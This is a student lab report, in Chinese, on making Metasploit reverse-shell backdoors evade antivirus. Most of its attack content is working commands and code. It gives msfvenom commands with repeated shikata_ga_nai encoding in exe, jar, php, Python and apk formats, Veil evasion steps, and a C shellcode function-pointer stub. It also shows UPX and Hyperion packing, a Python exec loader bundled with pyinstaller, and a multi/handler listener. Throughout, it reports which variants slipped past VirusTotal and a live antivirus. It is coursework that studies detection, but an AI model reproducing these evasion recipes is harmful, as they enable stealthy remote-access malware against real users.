20232304 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实验内容
(1)使用msf编码器以及多种格式Payload生成,veil的evasion功能,利用C+Shellcode编程等技巧
(2)通过组合应用各种技术实现恶意代码免杀
(3)实测,在杀软开启的情况下,可运行并回连成功
1.2 问题回答
(1)杀软是如何检测出恶意代码的?
主要有三种方式:静态特征码检测,启发式分析和动态行为分析
分别说说:
- 静态特征码检测:厂商会从一系列已被判别为病毒or木马的程序中提取每个程序所独有的,一般不超过64字节的标识存入病毒数据库,一般适用于安全软件的扫描功能,将已有文件与病毒库中的特征码做全面比对,如果有符合的则判定为病毒或木马。一般来说,这种技术只能用来检测已有的各种威胁,对于新兴的恶意代码则束手无策。
- 启发式分析:杀毒软件事先对一些代码行为有警惕,它会扫描代码结构以及指令的具体内容来判断是否具有恶意行为倾向,比如自我复制,又比如修改系统文件。这种方法能在一定程度上防范新型恶意代码,但是由于很多正常软件也会有这些操作,所以难免经常出现误报。
- 动态行为分析:杀毒软件会把程序放在安全沙箱中实际运行,并检测其是否存在恶意行为,如大量加密与其无关的文件(勒索病毒),恶意修改系统文件,向互联网发送恶意数据包等等,如果存在则判定为病毒,是一种更为先进的方式。
(2)免杀是做什么?
来自百度百科的定义:免杀技术全称为反杀毒技术Anti Anti- Virus,简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
从本次实验内容来看,主要包括以下几种:
- 进行编码;
- 使用多种格式payload混淆代码:比如,Python就比直接的C语言程序免杀效果好得多;
- 进行套壳:包括压缩壳与加密壳;
- 使负载直接在内存而非硬盘中运行:比如我们的metasploits框架的Meterpreter载荷就是典型的在内存中驻留的程序
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 对已有后门程序进行评估
在实验二中我们已经使用msfvenom得到了一个后门程序,本次实验就对这一后门文件进行免杀。首先我们需要对未做任何处理的原始后门文件进行评估,以作为本次实验的基准,使用virustotal网站进行评估,评估结果如下图所示:
可以看到检出率为50/72,检出率很高。
2.1.2 使用msf编码器进行编码从而免杀
我们首先对后门程序进行一次编码,在终端中输入如下命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.179.129 LPORT=2304 -f exe > 20232304encode1x.exe
其中与实验二中命令的不同在于:
-e
表示生成程序时使用编码器
x86/shikata_ga_nai
是一种躲避AV软件检测的编码器
-b
表示在程序编写中需要避免使用的编码
-b '\x00'
表示在程序中要避免出现"\x00",以免程序提前异常结束
在终端中实际运行效果如下图所示
编码一次得到的程序使用virustotal评估得到的结果如下图所示
可以看到检出率为43/72,检出率有所下降。
之后我们再对后门程序进行多次编码,以检验一次和多次编码在免杀效果方面的差异。
在终端中输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.179.129 LPORT=2304 -f exe > 20232304encode10x.exe
与上面的命令的不同:
-i
指定使用多次编码
-i 10
指定使用10次编码
实际运行结果如下图所示:
编码10次得到的程序使用virustotal进行评估得到的结果如图所示:
可以看到检出率仍然为43/72,有了0% 的提升!!!
从本次实验结果看来,使用一次和多次编码对于免杀效果已经没有实质上的提升,所以我们需要继续尝试其他方式。
2.1.3 使用其他可执行文件类型的免杀效果
2.1.3.1 使用Java可执行(jar)文件的免杀效果
我们首先尝试将后门程序输出为jar
文件,在终端中输入命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -f jar > 20232304.jar
其中:
我们将payload
更改为java;
输出文件格式选为jar
.
其运行结果如下图所示:
对该jar文件进行评估得到的结果如图所示:
可以看到检出率为34/64,和之前的43/72相比,有了6.6% 的提升。
我们再对该jar
文件进行多次编码,来比较免杀效果。
在终端输入:
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.179.129 LPORT=2304 -f jar > 20232304encode10x.jar
这里没有没见过的参数了
其在终端的运行结果如下图所示:
其生成的jar
文件的评估结果如图所示
检出率依然为34/64,没有任何提升。从本次实验结果来看,编码与否对于jar文件类型的免杀效果关系不大。
因此,对于jar
文件,本次实验得出的结论为:与直接使用原始payload相比,jar文件对于免杀效果的提升不是特别明显,而且运行jar文件还需要用户提前配置好Java环境,如果没有则无法运行。所以在实际使用时要慎重考虑是否使用jar文件。
2.1.3.2 使用php脚本文件的免杀效果
首先我们不进行编码,直接将payload输出到php文件中。
在终端中输入:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -f raw > 20232304.php
我们将payload更改为php,同时要注意,由于php本身并不可执行,所以需要以raw格式输出为php脚本
其运行结果如下图所示:
生成的php脚本的评估结果如下图所示:
可以看到,检出率为25/62,其免杀效果较jar
文件又有了约12.8% 的提升,较原始exe
文件的提升约为29.1%,较编码后的exe
文件有19.4% 的提升。
之后我们对php
文件进行编码,在终端输入:
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.179.129 LPORT=2304 -f raw > 20232304encode10x.php
其运行结果如下:
生成php脚本的评估结果如下:
检出率达到了8/62,较未编码的php
脚本有了约27.4% 的提升,证明编码技术对于php
文件效果较好。
所以对于php
脚本,本次实验的结论是:php
脚本的检出率较原始exe
文件有显著的提升,尤其是编码后的php
文件,由于浏览器中即可运行php
脚本,对用户设备配置没有很高的要求,所以在实际应用中,php
脚本不失为一种好的选择。
2.1.3.3 使用Python脚本(py)文件的免杀效果
首先不进行编码,直接将payload输出到py文件中。
在终端中输入:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -f py > 20232304.py
我们在这里将payload更改为python
其运行结果如下图所示:
生成的py
文件的评估结果如下图所示:
检出率竟然为0/62!!!,效果好的出奇
由于不进行编码的效果已经很好,所以编码在这里就显得没有必要了。
所以对于Python
脚本,本次实验的结论是:Python
脚本效果很好,但是需要被攻击设备中有运行Python脚本的完整环境,所以在实际应用中需要斟酌使用。
2.1.3.4 使用安卓应用安装包(apk)文件的免杀效果
首先也是不进行编码,直接输出payload。
在终端输入:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -o 20232304.apk
其运行结果如下:
其生成apk
文件的评估结果如下:
检出率为27/66,与未经编码的php
文件相当。
接下来我们尝试进行编码。
在终端输入:
msfvenom -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.179.129 LPORT=2304 -o 20232304encode10x.apk
其运行结果如下:
其生成apk的评估结果如下:
检出率为9/62,与经过编码的php
文件相当。
所以对于apk
文件,本次实验的结论是:其免杀效果与php脚本相当,但是由于apk
运行在Android
设备上,且Android
系统要求安装的应用必须具有签名
,架构也并非x86
架构,所以在实际应用中通用性不如php
脚本。
2.2 使用veil工具进行免杀处理
2.2.1 下载veil
Kali Linux内部默认没有veil,所以需要我们执行sudo apt install veil
来手动下载veil,如图所示:
Veil工具占用空间较多,所以下载时间会稍长。
下载完成后我们使用Veil自带的setup.sh
脚本来进行环境变量配置等工作,在终端输入:
/usr/share/veil/config/setup.sh --force --silent
参考的实验报告里面给的命令前面少了一个斜杠,直接复制粘贴运行会报错^_^
之后耐心等待。
发现并没有安装成功,显示报错致命错误:无法访问 'https://github.com/Veil-Framework/VeilDependencies.git/':Failed to connect to github.com port 443 after 21048 ms: Could not connect to server
导致后面所需的很多依赖没有办法成功拉取,最后导致安装失败。
原因很简单:国内网络经常连不上Github,所以需要我们在setup.sh
中更换一下克隆地址。
在终端输入:
cd /usr/share/veil/config
vi setup.sh
如图所示,将克隆地址更换成国内源,
sudo git clone https://gitee.com/spears/VeilDependencies.git
保存并退出。
重新运行setup.sh
脚本,这次耐心等待即可。
安装完成。
从上面的界面中可以看到第一个选项就是Evasion(躲避,逃避)
使用use 1
中这一选项,如图所示
之后使用list
命令列举出所有支持的payload
形式,这里我们选择C语言负载的TCP反向连接,即第7个选项,使用use 7选中它。
接下来与使用metasploit
框架时类似,我们需要指定反弹连接的IP和端口,在控制台中输入如下命令:
set LHOST 192.168.179.129
set LPORT 2304
与metasploit
框架不同,这里使用generate
命令进行生成,如图所示
之后会让我们输入生成文件的文件名,这里输入20232304veil1,如图所示,最后Veil会告知我们生成文件所存储的具体位置。我们可以在文件管理器中找到该程序。
之后我们可以将生成的程序进行评估,下面是该程序的评估结果:
检出率为37/72,中规中矩的表现。
PS:这里我把生成的文件从虚拟机里拖出来火绒马上就报毒了,我只能说veil效果真心一般般。。。
2.3 使用C + Shellcode编程实现免杀
我们还是使用msfvenom
软件来生成,这次我们不直接生成可执行程序,我们生成C语言Shellcode源代码作为载荷,将Shellcode编写进C语言源代码之后再编译成可执行文件。
在终端中输入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -f c
在这里
-f
表示指定输出格式,-f c
表示将payload直接输出成C语言源码的形式,不生成可执行文件。
如图所示:
之后我们使用生成的Shellcode编写一个C语言源代码,如图所示:
其中,最后一行的含义是:
将存储Shellcode的buf
数组所在的内存地址,强制转换成一个函数指针,然后调用这个函数。这样,CPU 就会开始执行位于buf
数组里的那些机器指令。
我们将其编译成exe文件,如图所示
对这个可执行文件进行评估,结果如下:
检出率为24/72,效果一般般。
2.4 使用套壳实现免杀
2.4.1 使用压缩壳UPX进行免杀
压缩壳是一种在不损害程序功能的前提下,显著减小文件体积的文件处理技术,本意是为了防止程序被请以反编译或者修改,以及减小文件体积,但是由于其原理为在原始程序外附加一层“外壳”代码。运行时,外壳先获得控制权,在内存中解密或解压原始程序,再移交控制权,而外壳一般是无害的代码,解压出的程序又在内存中驻留,所以也常用于恶意软件的免杀处理。
UPX
就是一个为程序添加压缩壳的程序,其压缩和解压算法相对固定,而压缩后的数据块则随着原始程序不同而不同。
我们对上一步生成的exe文件进行加壳,在终端输入命令:
upx 20232304C+shellcode.exe -o 20232304C+shellcode_upx.exe
运行结果如下:
将生成的exe
进行评估,所得到的结果如下:
检出率为27/72,与未加壳相比甚至有所升高,说明Shellcode
的压缩数据块已经被很多AV软件所标识。
2.4.2 使用加密壳Hyperion进行免杀
加密壳是一种通过在原始软件外包裹一层保护外壳,来防范逆向工程、非法修改和破解程序的技术,其原理在于对原始代码进行加密或混淆,运行时先由外壳执行解密或解混淆程序,再加载运行原始代码。
Hyperion是一款轻量级加密工具,使用AES-128加密算法通过5轮AES加密来加密payload,加密完成后的payload依然是可以运行的。Hyperion是ELF和PE二进制相关工具,它用于32位和64位可移植可执行文件的运行时加密器。它是参考基于论文"Hyperion:PE加密器的实现"写出的一款加密工具。 基于模式的防病毒(AV)解决方案可以检测可疑文件的签名并阻止其执行。加密的副本包含未知签名,其内容无法通过试探法进行分析,因此无需AV扫描程序的干预即可正常执行。溯源分析时,可通过尝试暴力破解这个加密文件的AES加密算法的KEY,找到脱壳后的payload。Hyperion对evil木马简单加壳_hyperion加密器-CSDN博客
由于Hyperion程序没有配置环境变量(纯EXE程序也没法指望它能自己给自己在Linux系统下配置环境变量),所以我们需要先将之前的Shellcode程序拷贝至Hyperion的工作目录下,如图所示:
之后我们在该目录打开终端,并输入:
wine hyperion.exe -v 20232304C+shellcode.exe 20232304C+shellcode_Hyp.exe
由于Hyperion本身是为Windows设计的,从文件管理器中我们也可以看到其为一个exe
文件,所以无法在Linux环境下直接执行,需要使用wine
来作为中间层。那么wine是什么?
Wine:Linux 上的Windows兼容层
Wine不是一个像VMware或VirtualBox那样的虚拟机。它的全称是“Wine Is Not an Emulator”。它更像一个兼容层,其核心功能是在类Unix系统(如Linux、macOS)上模拟出 Windows 系统的运行环境 。
当你在Linux终端中执行
wine hyperion.exe
时,Wine会做以下几件事:
- 加载PE文件:识别并解析
hyperion.exe
的文件结构。- 提供运行时环境:将程序对Windows系统DLL的调用,“翻译”成对底层Linux系统相应的调用。
- 执行程序逻辑:最终让这个原本为Windows设计的
hyperion.exe
能够在Linux系统上运行起来,并完成其加密加壳的工作。
所以这里的执行结果如下:
我们还是将生成的可执行文件进行评估,得到的结果如下:
检出率为37/72,甚至比压缩壳更高,很明显很多AV软件也对5轮AES加密的Shellcode的特征有了防范。
2.5 通过组合应用各种技术实现免杀
2.5.1 C语言Payload方案
使用msfvenom
生成一个编码10次的C语言攻击载荷,将载荷写入文件后编译成exe文件,再分别套上一层压缩壳和一层加密壳,具体命令如下:
//生成攻击载荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -e x86/shikata_ga_nai -i 10 -f c > 20232304diy.c
//在vi中新建C代码源码,并新增main函数
int main(){ int (*func)() = (int(*)())buf; func(); }
//编译成exe文件
i686-w64-mingw32-g++ 20232304diy.c -o 20232304diy.exe
//套压缩壳
upx 20232304diy.exe -o 20232304diy_compressed.exe
//套加密壳
wine hyperion.exe -v 20232304diy_compressed.exe 20232304diy_compressed_encrypted.exe
其运行结果如图所示:
将其生成的程序文件进行评估,得到的结果如下
效果竟然出奇的差!我们换个思路。
2.5.2 Python Payload方案
我采用的组合是:
使用msfvenom
生成一个编码10次的Python攻击载荷,将载荷写入文件后编译成exe文件,再分别套上一层压缩壳和一层加密壳,具体命令如下:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -e x86/shikata_ga_nai -i 10 -f raw -o 20232304diy.py
//生成攻击载荷
msfvenom构建的payload由于经过编码,输出的.py
文件实际上是二进制脚本,不能直接使用pyinstaller
打包成exe,需要使用一个loader.py
文件读取其中的二进制编码之后再执行,loader.py内容如下:
# -*- coding: utf-8 -*-
import os
import typesdef run_payload():# 以二进制模式读取包含Payload的原始脚本payload_file = "20232304diy.py"with open(payload_file, "rb") as f:payload_code = f.read()# 创建一个新的模块来执行这些代码payload_module = types.ModuleType("payload_module")# 在新模块的命名空间中执行Payload代码exec(payload_code, payload_module.__dict__)if __name__ == "__main__":run_payload()
之后再在Windows终端执行:
原因是在LInux下
pyinstaller
只能打包成ELF格式,想要打包成Windows可用的PE格式,需要在Windows下打包
pyinstaller --onefile --name 20232304diy.exe loader.py
之后再次修改生成的.spec
文件,在datas
一行加上('20232304diy.py', '.'),将noarchive
置为True,将console
置为False之后重新执行:
pyinstaller 20232304diy.exe.spec
这一步的目的是把我们的Payload打包进去,同时关闭控制台显示
即可编译成exe文件,如图所示:
之后再套壳:
upx -9 20232304diy.exe -o 20232304diy_compressed.exe
//套压缩壳
wine hyperion.exe -v 20232304diy_compressed.exe 20232304diy_compressed_encrypted.exe
//套加密壳
其运行结果如图所示:
由于pyinstaller在编译时默认启用了GUARD_CF(控制流防护)保护,所以这里失败了,提示里也说的很直白,加上
--force
参数即可解决。
简单介绍一下GUARD_CF
GUARD_CF(控制流防护):是微软开发的一项系统级漏洞防御技术,它通过在程序编译时分析所有间接调用(如通过函数指针或虚函数表进行的调用)的控制流,识别出合法的目标函数入口点,并将这些信息嵌入到生成的可执行文件中;当程序在支持该技术的操作系统上运行时,会在每次执行间接调用前插入安全检查代码,验证目标地址是否位于预定义的合法函数起始地址集合中,如果检测到企图跳转到非法地址(例如攻击者注入的恶意代码),操作系统将立即终止进程,从而有效防御利用内存损坏漏洞进行控制流劫持的攻击(如ROP攻击),增加了攻击者执行任意代码的难度
再将生成的exe
进行评估,结果如图所示:
检出率为38/72,效果不佳,猜测可能是套壳的原因,对不套壳的原版本测试一下,结果如下:
检出率为10/72,效果拔群!说明真是套壳的问题至于为什么还是有检出而纯粹的Python脚本就没有,猜测是loader
文件中直接执行引用代码的代码部分会引起AV软件的警惕。而且从图中也可以看出来报错的都是国外的杀毒软件,那么很大概率在只装有国内杀软的电脑上可以正常存在。
使用杀毒软件对整个文件夹进行扫描,结果如下:
没有报毒,说明实验成功。
2.6 用另一电脑实测后门程序是否能够成功
首先我们在Kali中输入msfconsole
打开metasploit控制台
之后依次输入:
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 192.168.179.129(设置为kali的ip地址)
set LPORT 2304(设置端口)
exploit(启动监听服务)
方案一的程序:
连不上QAQ,显示缺个库
在Windows计算机上尝试寻找,(非常诡异的)在MobaXterm的文件夹里找到了这个动态链接库,把它复制到与程序同目录下再次尝试运行:
成功连接!!!!唯一有点缺点的地方在于双击运行会弹出一个控制台窗口
之后输入:
set payload python/meterpreter/reverse_tcp(设置载荷类型)
exploit
方案二的程序:
还是连不上QAQ,具体原因未知,有可能在打包的时候有些错误。
但是运行直接生成的Python脚本就能连接上,效果如图,而且杀毒软件也没有报毒(上面自定义扫描的时候已经扫描到了此Python脚本)
杀毒软件为火绒安全软件,版本号为:6.0.7.11,病毒库为:2025-10-19 15:56
3.问题及解决方案
- 问题1:下载完Veil之后执行安装脚本安装完成后输入veil会再次运行安装脚本
- 问题1解决方案:原因是安装脚本中,veil所需要的部分依赖通过从Github克隆的方式下载,但是众所周知国内网连Github可以说是一言难尽,有时连得上有时候连不上,所以采取一劳永逸的方式,直接更换仓库源为国内Gitee仓库,从而解决问题。
- 问题2:对于生成php的payload时,指定输出文件格式为php会报错
- 问题2解决方案:原因是php是一种混合执行模式的语言,需要由Zend引擎编译为opcode,再由执行器读取并执行,并不像py脚本一样可以直接双击运行(前提是提前配置好Python环境),所以一般直接使用原代码进行输出。
4.学习感悟、思考等
本次实验难度不大,但是任务较多。我所收获的主要内容有:
- msf编码器的使用以及多种格式payload的生成
- Veil免杀工具的安装与使用
- 加壳工具UPX与Hyperion的使用,顺便了解了如何在LInux环境下快速运行适用于Windows的EXE程序(使用wine)
- C + Shellcode编程方法
- 组合运用上述方式
在实验过程中,我是一直开着火绒安全软件的,只有veil生成的exe文件和msf生成的未经过编码的php脚本被秒杀了,推测是特征过于明显了(也可能是火绒的实时监控太菜了LOL)。实际上,实验中涉及的所有免杀技术都是已经广为人知的技术,但是经过一定的排列组合有时候也能获得很好的免杀效果。
本次实验我觉得我最大的收获还有我的按条理做事的能力得到了锻炼,对于各种不同格式,编码与否,是否加壳,加什么样的壳等等逐一按顺序有条理的进行测试,使我的耐心与细心也更胜从前。
最后,还是要加强安全意识和防范意识,杀毒软件并没有我们想象的那么好用,你看,就像我们这种初学者水平用最简单的方法简简单单排列组合一下有时候都能骗过杀毒软件,不就更说明了靠杀软不如靠自己?自己不点外部未知链接,不乱下载盗版软件,不乱看奇奇怪怪的网站 ,就能躲过大多数攻击。
参考资料
- 0x23_MAL_免杀原理与实践
- Hyperion对evil木马简单加壳_hyperion加密器-CSDN博客